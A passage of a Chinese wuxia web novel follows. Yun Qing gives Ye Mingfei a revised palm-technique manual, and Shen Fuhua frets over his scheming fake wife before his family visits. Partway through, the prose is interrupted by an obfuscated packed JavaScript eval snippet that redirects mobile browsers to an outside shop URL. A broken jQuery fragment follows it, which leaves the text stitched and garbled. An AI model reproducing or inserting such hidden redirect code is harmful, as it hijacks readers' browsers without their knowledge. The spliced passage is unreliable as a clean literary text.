云轻笑了笑,被哄好了才会说这样的话,他无意让叶明霏更尴尬,索性转移话题:“我已看完你批注的那套掌法,有些疑惑,只是拿不准该不该问你。”
叶明霏先是意外,旋即恍然,他当然不会以为是云轻看不明白一本入门级别的掌法,当即了然道:“没什么不能问的,可是觉得这掌法和我武功路数不相合?”
他没和云轻交过手,但他的轻功对方已见过几次,很明显走的是灵巧缥缈的路数,与掌法的刚劲霸道全然相悖。
“那是先父留下的东西,听说是他初学时用过的,我那时年幼,一意孤行,撞了南墙才知道错,后来转修了更适合自己的功法,这掌法便再没用过。”
他说得轻巧,可根基打错了方向,哪怕他再如何天才也是有影响的,这件事今日之前除了他自己无人知晓——他与人交手,其实是发挥不出十成实力的。
如今云轻成了第二个知情人,叶明霏后知后觉一阵荒谬,他把这本掌法给云轻时,竟压根没想过会暴露这个问题。
他的脑子当时是坏掉了吗?
云轻对此没有发表意见,也没感叹可惜,怀念父母人之常情,这没什么好说的。
他只将那本掌法拿出来,递还给叶明霏道:“我增加了一些批注,你有空可以看看。”
他最先看的是这本,随后参照内容去看的易筋经,在对武功一道有了初步了解后,产生了他方才同叶明霏说起的疑问,而后突发奇想,试着用易筋经的内功心法将这套掌法内息改了改。
本来只是心念一动做个尝试,没想着一定能成功,因为这确实不容易,难度不亚于自创一门功法,但系统知道他在做什么后,捣鼓出了个模拟程序来帮他,云轻拿来试了一下,原本磕磕绊绊的进度竟一日千里。
不仅系统起了很大作用,易筋经也不愧是到了后世都无人不晓的少林绝学之一,兼容并蓄无适无莫。
最后这本掌法在他修改后,威力堪比脱胎换骨,于现在的叶明霏亦十分契合。
既如此便不要浪费,云轻想着前两天他可能确实把人逗过分了点,这就当赔礼了。
叶明霏闻言眼前一亮,双手接过,他此刻尚不知云轻为他做了什么,但能一睹云轻的武功心得,他也觉得十分有幸了。
他颇为好奇地翻开一页,先入眼的是云轻的字,乍一看颇为随性,但字体高古简远,很有些仙风道韵的意境。
——实则只有颇为随性四个字是真的。
而当他将内容看进去之后,就再也没有空闲去欣赏云轻的字了。
叶明霏眼中异彩连连,武学奇才他并非没见过,甚至他自认也不差那些人什么,可他确信这其中没有一个人能像云轻这样,改良武功典籍如此信手拈来。
“我……”他张了张嘴,原想说云轻可能不知道他给出的东西有多难得,他却不能当做不知,就这么认下这个好处。
可话到嘴边又觉得如此推辞,未免太辜负云轻为他一番忙碌的用心,换位思考一下,叶明霏觉得他若不领情恐怕才更让对方失望。
倒不如大方收下,记在心里,日久天长总有能回报一二的机会。
“这于我有大用。”叶明霏感慨道,他有预感,待自己将这改良后的掌法重修一遍,就能补齐实力上唯一的缺憾。
云轻眼里笑意果然更甚:“有用就好,我改动了不少地方,你练起来若有不解之处,可随时来与我探讨。”
他可以模拟试错,比叶明霏自己琢磨强,而且叶明霏自身的见解他听听也是赚了。
“嗯,不会跟你客气的。”叶明霏抿着唇点头,他都已经对这人无意识敞开心理防线,主动暴露弱点了,那还矜持什么?
至于说认识时间不长,值不值得信任的问题,不先信过,也无从得知,叶明霏从不在这种未知的事情上纠结。
就是说,能让心圆这邪恶豆沙包都心软分出一两真心的人,在交朋友这一块,叶明霏从来都无师自通天赋异禀。
其实比起和一套掌法死磕,这份能力分明才是叶隐苍留给他最宝贵的东西。
于是之后所有人都休息的这两日,除了晚上睡觉,叶明霏几乎都和云轻待在一起,他练功,云轻在一旁烹茶,偶尔交流几句。
明曹山每次路过看见都要眉心一跳,这位道长究竟什么底细还未可知,他总觉得这善堂诡异得让人心里头发毛。
正常人家里那么小的孩童还在流口水阿巴阿巴地哭闹,而这里的两个,不仅武功压着他这个四十多岁的成年人打,那日下毒灌药的动作也是一气呵成毫不犹疑。
他这种自觉足够铁石心肠的人看到那画面都不自觉肝颤一瞬,少主如此正直善良的性格却视若无睹,好似习以为常,这岂不就是最大的反常?实在令人放心不下。
明曹山并不知道,他家少主早在秦宜宣这倒霉蛋差点被毒翻时就已经走过惊讶这个固定流程了,而当时若非云轻以身试毒,秦宜宣可就真死了!
这也是他从头到尾都没对云轻生出一丝不好念头的原因,绝不单纯是以貌取人。
经过这段时日了解,叶明霏看得出,两个小不点显然并非是云轻刻意培养成这样,云轻反而是试图掰正他们的那个,那次让他获益匪浅的讲道便是证明。
另一边,沈拂华在康应身上找到一处编号刺青,用相对应的暗语传了封信出去。
心圆见这流程如此复杂用心,颇为同情地拍了拍他的肩,并提醒道:“不要小看女人的直觉,哪怕你将一切安排得合情合理,女人的第六感也可以不讲道理。”
闻言沈拂华脸一垮:“我知道,可她现在待在沈家,我也拿她没辙!”
他亲自设计一场让沈家亏欠赵锦瑟的逃婚大戏,给了她沈二少夫人的金身,如今都成了回旋镖,搬起石头砸自己的脚。
“你都能把这些事告诉我,为何不能直接跟你父兄坦白?”心圆不理解,明明只要沈拂华老实交代,赵锦瑟自有沈家替他解决。
他没有血缘亲人在世,不觉得有人能无条件包容自己真实性格,才以假面示人。可沈拂华父兄皆在,亲亲相隐,即便沈拂华犯了天大的错,沈家也一定会包庇他。
沈拂华的脑回路却同他截然不同:“告诉你多简单啊,你又不是什么好人,咱们半斤八两坐在一条船上,瞒着你才是白费力气。”
可他要怎么跟他爹和哥说,之前那些事都是他的算计,把包括沈家在内也算进去了,现在他阴沟里翻船,希望父兄不计前嫌捞捞?
他也不是完全不要脸的人啊。
心圆气笑了:“这跟我是不是好人有什么关系?若你不肯坦白是因为拉不下脸求助,那我劝你还是别太要脸,你父兄对你那位假夫人毫无防备,万一她察觉不对选择先下手为强,你悔之晚矣!”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17753713|209472||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“她敢!”沈拂华瞬间睁圆了眼睛。
“她连你‘儿子’都敢杀,且杀一个孩子的方法千千万,她却宁愿担险也要用你的人,使父杀子这种事都干得出来,心狠程度连我都要自愧弗如,她还有何不敢!”
心圆嗤笑:“你何以觉得她不敢?”他这便宜师弟应当不至于天真到这种程度。
“她武功不行。”沈拂华郁闷道:“准确来说是很差,拂尘楼选剩下的边角料,我把她挑出来带在身边,任她知晓我的身份,借沈家给她作为庇护,委以重任,就是因为这样的人好掌控,按理来说,她本不应也不敢背叛我的。”
心圆双手合十和善微笑:“当你用边角料来形容一个疑似喜欢你的女人时,就该早早的做好被她往死里整的准备!”
“疑似喜欢我?”沈拂华小脸忽然扭曲。
“你看起来很惊讶。”
“我是很惊讶。”沈拂华眉毛都快拧成蚯蚓了,真心疑惑道:“她哪来的自信?”
心圆一时语塞:“……”他也想知道沈拂华这股浑然天成的自信是哪来的。
“还有,你一个出家人怎么这么懂?”沈拂华毫无被点拨提醒的感恩之心,转头就对准心圆啧啧有声起来。
“观众生相,以见心明性,出家不代表要当个脑袋空空的白痴!”
心圆忍无可忍给了他后脑勺一个小比兜,挨了一下的沈拂华骂骂咧咧走了,别以为他没听出来小和尚那句白痴是在指桑骂槐。
不过心圆的话他还是听进去了一些,这事儿迟早要面对,师父没催他也是在等他自己调整好心态,纠结了半天,最后把心一横送了个口信回沈家,很快善堂就收到了沈家拜帖。
隔日,沈赐林和沈拂晓父子俩亲自携礼登门,沈拂华出来迎接,然后目光呆滞地瞪向他爹和他哥手里的腊肉条和芹菜,还有几个纸包里面不知道是什么不值钱的东西。
他们沈家要破家荡业啦?
就算他师父其实财力雄厚,不缺那三瓜俩枣,这俩也不至于提这么寒酸的礼上门,这是成心给他丢脸来的吧!
“乱想什么!”沈拂晓顺手捏了一把他弟的肉脸蛋子:“这是束脩六礼。”
沈拂华翻白眼:“……”穷讲究也讲究不明白,他们善堂这么多人,就这点子肉,还不够塞牙缝的!
沈拂晓对他耸耸肩,本来是按古礼准备了十条的,但爹和他这次来为表诚意没带下人,只跟了个马车夫在外面候着,礼都是提在自己手里,想想他们父子俩一人身上挂五条腊肉登门的画面实在太丑陋,就稍稍削减了数量。
沈赐林没空理这俩儿子,看着院中某个熟悉的身影,往前走了两步。
“明兄?”他试探喊了声。
“沈兄!”明曹山正笑着迎了上来:“多日不见,本欲上门拜访,不料先在此相遇!”
“是啊,明兄也在此做客?”沈赐林忽然想起他大儿子说过叶明霏与善堂关系不错,明曹山出现在这儿也正常。
然而明曹山却摆手道:“不不不,我是在此处寻了份当武师傅的短工。”
沈赐林还当自己耳背了:“……啊?”
你,明曹山,武林盟分堂主,当年追随叶隐苍的时候,在江湖上也是有名有姓的人物,在这给我儿的师父当短工?!
嘶!!!
这善堂到底是什么龙潭虎穴?